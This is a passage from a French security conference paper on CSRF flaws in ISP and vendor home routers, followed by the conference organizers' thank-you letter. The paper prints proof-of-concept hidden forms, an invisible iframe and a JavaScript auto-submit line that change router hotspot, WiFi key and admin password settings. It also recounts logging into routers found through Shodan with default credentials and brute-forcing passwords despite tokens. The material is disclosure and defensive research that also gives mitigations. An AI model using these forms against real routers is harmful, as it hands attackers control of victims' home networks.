Les pages d’administrations du routeur sont vulnérables à des 

attaques de type Cross Site Request Forgeries (CSRF). [10] 
Le simple fait d’être connecté sur l’interface de la box et 

naviguer sur internet met en danger l’utilisateur ainsi que 

l’intégralité de son réseau. En effet, il suffirait au pirate 

d’envoyer une URL ou encore un script à la victime pour 

récupérer ses identifiants, changer ses paramètres (Domain 

Name System (DNS) [11], Wifi, Mot de passe, … ) et ainsi 

prendre le contrôle de l’intégralité du réseau.  

Un document explicatif a été réalisé, et envoyé au CERTA 

[12] afin de prévenir et corriger au plus vite ces trous de 

sécurité fin 2009. A ce jour, aucun retour ne m’a été envoyé.  

 

1) Vulnérabilités de type CSRF 
 

Le nom des pages et des variables ont été modifiés et ne 

correspondent pas aux originaux pour des raisons de sécurité 

auprès de ces fournisseurs. 

Toutes ces attaques peuvent être réalisées en créant un 

formulaire de ce type, en l’insérant dans une iframe invisible 

et en exécutant le formulaire à l’aide de JavaScript.  

 

a) Réalisation d’une iframe invisible 

 

Pour cela, le code est le suivant :  
<iframesrc="/formulaire_malicieux.html" witdh=0 height=0> 

On renseigne la hauteur et largeur en les mettant à 0 pixels, et 

cette dernière ne sera donc pas visible pour l’internaute.  

 

b) Activation / Désactivation du Hotspot [13] 

 

Le formulaire afin de changer l’activation/désactivation du 

Hotspot est le suivant :  

 

<form 

id="desactivation_hotspot"action="http://192.168.1.1/hotspot_

configuration" method="post"> 
<input type="hidden" name="hotspot_active" value="off"> 

<input type="hidden" name="hotspot_mode" 

value="hotspot"> 

</form> 

 

Notez qu’il suffit seulement de changer l’attribut 

« hotspot_active » en lui affectant la valeur On/Off 

 

c) Changement du mot de passe réseau 

 

<form action="http://192.168.1.1/wifi_configuration" 

method="post"> 

<input type="hidden" name="wlan_encryption" 

value="WEP"> 

<!-- Choix du protocole pour sécuriser le réseau sans fil !--> 

<input type="hidden" name="wlan_wepkey0" 

value="poc_cle_wep"> 

</form> 

 

d) Changement du mot de passe administrateur 

 

<form id="changement_mot_de_passe" 

action="http://192.168.1.1/admin_configuration" 

method="post"> 

<input type="hidden" name="action" 

value="login_config"> 

<input type="hidden" name="web_auth" value="dual"> 

<input type="hidden" name="web_login" 

value="admin"> 

<input type="hidden" name="web_password" 
value="poc_nouveau_mot_de_passe"> 

<input type="hidden" name="web_password_verif" 

value=" poc_nouveau_mot_de_passe "> 

</form> 

 

e) Exécution du formulaire à l’aide de JavaScript 

 

« L’ auto-submit » de formulaire se fait de la façon suivante :  

Document.forms["id_formulaire_malicieux"].submi

t()  

Il suffit de remplacer par le bon id de notre formulaire, et 

celui-ci sera envoyé.  

 

 

 

Nous avons donc vu dans l’ordre toutes les étapes : 

de l’insertion de l’iframe, à la création du formulaire 

malicieux jusqu’à l’exécution de ce dernier. L’utilisation 

d’add-ons tels que NoScript [14] permettent de palier à ce type 

d’attaque. Cependant, peu de personnes l’utilisent, ce qui en 

fait un vecteur d’attaque très important.  

Les fournisseurs d’accès ne sont pas les seuls, car les 

constructeurs de matériel réseautique tels que Netgear, 
Linksys, D-link fournissent eux aussi du matériel comprenant 

des vulnérabilités. 

 

Une manière de se protéger de ce type d’attaque serait la 

génération d’un token (jeton de sécurité) [15]  pour chaque 

formulaire ou encore une déconnection de l’utilisateur après 

une inactivité prolongée comme le fait le fournisseur 

d’accès Free sur sa web interface.  

 

f) Limitations 

 

Concernant les contraintes d’utilisation de telles 

vulnérabilités, elles ne sont qu’effectives si l’utilisateur est 

connecté à cette interface.  

Cependant, de nombreux utilisateurs laissent leurs sessions 

actives afin de se connecter plus rapidement, et outrepasser 

ainsi les pages d’authentification. Ce vecteur d’attaque n’est 

donc pas à prendre à la légère.  
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II. Vulnérabilités auprès des fabricants 

 

A. Recherche de routeurs 

 

Michael Schearer [16] a présenté une conférence intitulée 

« Shodan for penetrationtesters »  à la DefCon [17] 18, qui se 
tenait à Las Vegas. 

Shodan[18] est un « moteur de recherche d’ordinateurs » 

(Computer searchengine) qui permet de rechercher des 

ordinateurs/serveurs à partir de leurs bannières. Il interroge les 

serveurs sur ses différents ports, récupère les bannières et c’est 

ce contenu qui est renvoyé aux utilisateurs de Shodan. 

J’ai récupéré des bannières de fabricants de routeurs très 

connus, afin de les rechercher, afin de pouvoir auditer 

l’interface Web. 

Les logins par défaut n’étant pas changés, j’ai pu auditer les 

interfaces Web et ainsi déceler de nombreuses vulnérabilités. 

 

B. Recherche d’autres interfaces …  

 

De nombreux sites mettent en ligne les interfaces respectives 

de leurs produits, permettant ainsi de voir les différences entre 

modèles.  

Plusieurs exemples comme pour Netgear [19], ou encore pour 

les interfaces de LinkSys : [20].  

 

C. Vulnérabilités trouvées 

 

Les vulnérabilités trouvées sont sensiblement les mêmes que 

sur les routeurs des principaux FAI.  

Les mots de passe peuvent être réinitialisés sans avoir besoin 

de jeton (token) de sécurité.  

 

Nous allons maintenant parler de soucis d’implémentation de 

ces jetons. 

 

1) Jetons de sécurité non rafraichis 

 

Un token de sécurité permet une meilleure authentification, du 

fait que le jeton n’est normalement joué qu’une seule fois et ce 

dernier est ensuite mis à jour.  

Cela permet entre autre d’éviter les attaques par force-brute 

car ce token ne peut pas être « prédit » par l’attaquant. Il 
devient donc pour lui beaucoup plus difficile d’opérer de cette 

manière.  

Cependant, j’ai pu remarquer que certaines interfaces, 

implémentant un jeton de sécurité ne rafraichissaient ce token 

qu’au bout d’un certain temps non négligeable ~10 – 15 

minutes.  

 

Il était possible de récupérer ce jeton sur la page 

d’authentification (dans la source de la page), forger mes 

requêtes grâce à ce dernier et ainsi bruteforcer le mot de passe. 

 

 

III. CONCLUSION 

 

Dans cet exposé,  j’ai souhaité mettre en avant les 

différentes vulnérabilités que j’ai pu constater auprès des 

routeurs appartenant aux FAI. J’ai souhaité montrer la 

simplicité d’écriture de l’exploit, ainsi que la mise en 

production au travers d’une iframe d’une telle faille. 

Le second point m’a permis de traiter des fabricants de 

routeurs en règle générale et de certaines vulnérabilités, que 

l’on peut rencontrer.  

De nombreuses solutions peuvent être mises en place 

comme la génération d’un token pour chaque formulaire, ou 

encore la gestion de la surcharge réseau (DoS) de routeurs via 

des règles comme « Au bout de X connections en Y secondes, 

on bloque l’accès à cette IP pendant T minutes».  

 

Pour finir, la problématique de sécuriser notre réseau est 

l’une, voire la problématique la plus importante que nous 

avons.  

Les effets peuvent être néfastes autant pour des particuliers que 

des professionnels, car la finalité serait une perte de contrôle du 

routeur, donc de l’accès internet, et par conséquent 

l’impossiblité de joindre, éviter, et corriger les problèmes 

survenus. 
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4 GreHack 2012 organizers/ Thanks

Dear attendees,

It has been a great pleasure to welcome you to GreHack 2012 conference. We hope you enjoyed the
technical and (social) program, where we aimed to both learn and discuss the increasing complexity of soft-
ware security and its new challenges. We hope that we have brought a good mix of industrial and academic
achievements, where security continues to be an important research area. We hope that new approaches,
methods and tools presented here will be useful in both industry and academia.

The goal was to bring researchers and practitioners together to discuss state of the art, practice and future
prospects in the field. We hope with this program that we have succeeded in this endeavor.

We like to thank all the submissions and contribution to the program – without all such a hard research
work it would not have been a conference with such an interesting focus. We hope our program will attract
you to participate, read and contribute to further improving the research and collaboration and to participate
to next editions.

The GreHack 2012 organizers
http://grehack.org/en/index.php/GreHack-2012-Committees-english/
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5 Bonus

5.1 SecurityReactions / Fuzzing a website during a pentest

Figure 2: Fuzzing a website during a pentest http://securityreactions.tumblr.com/post/
32453604073/fuzzing-a-website-during-pen-test
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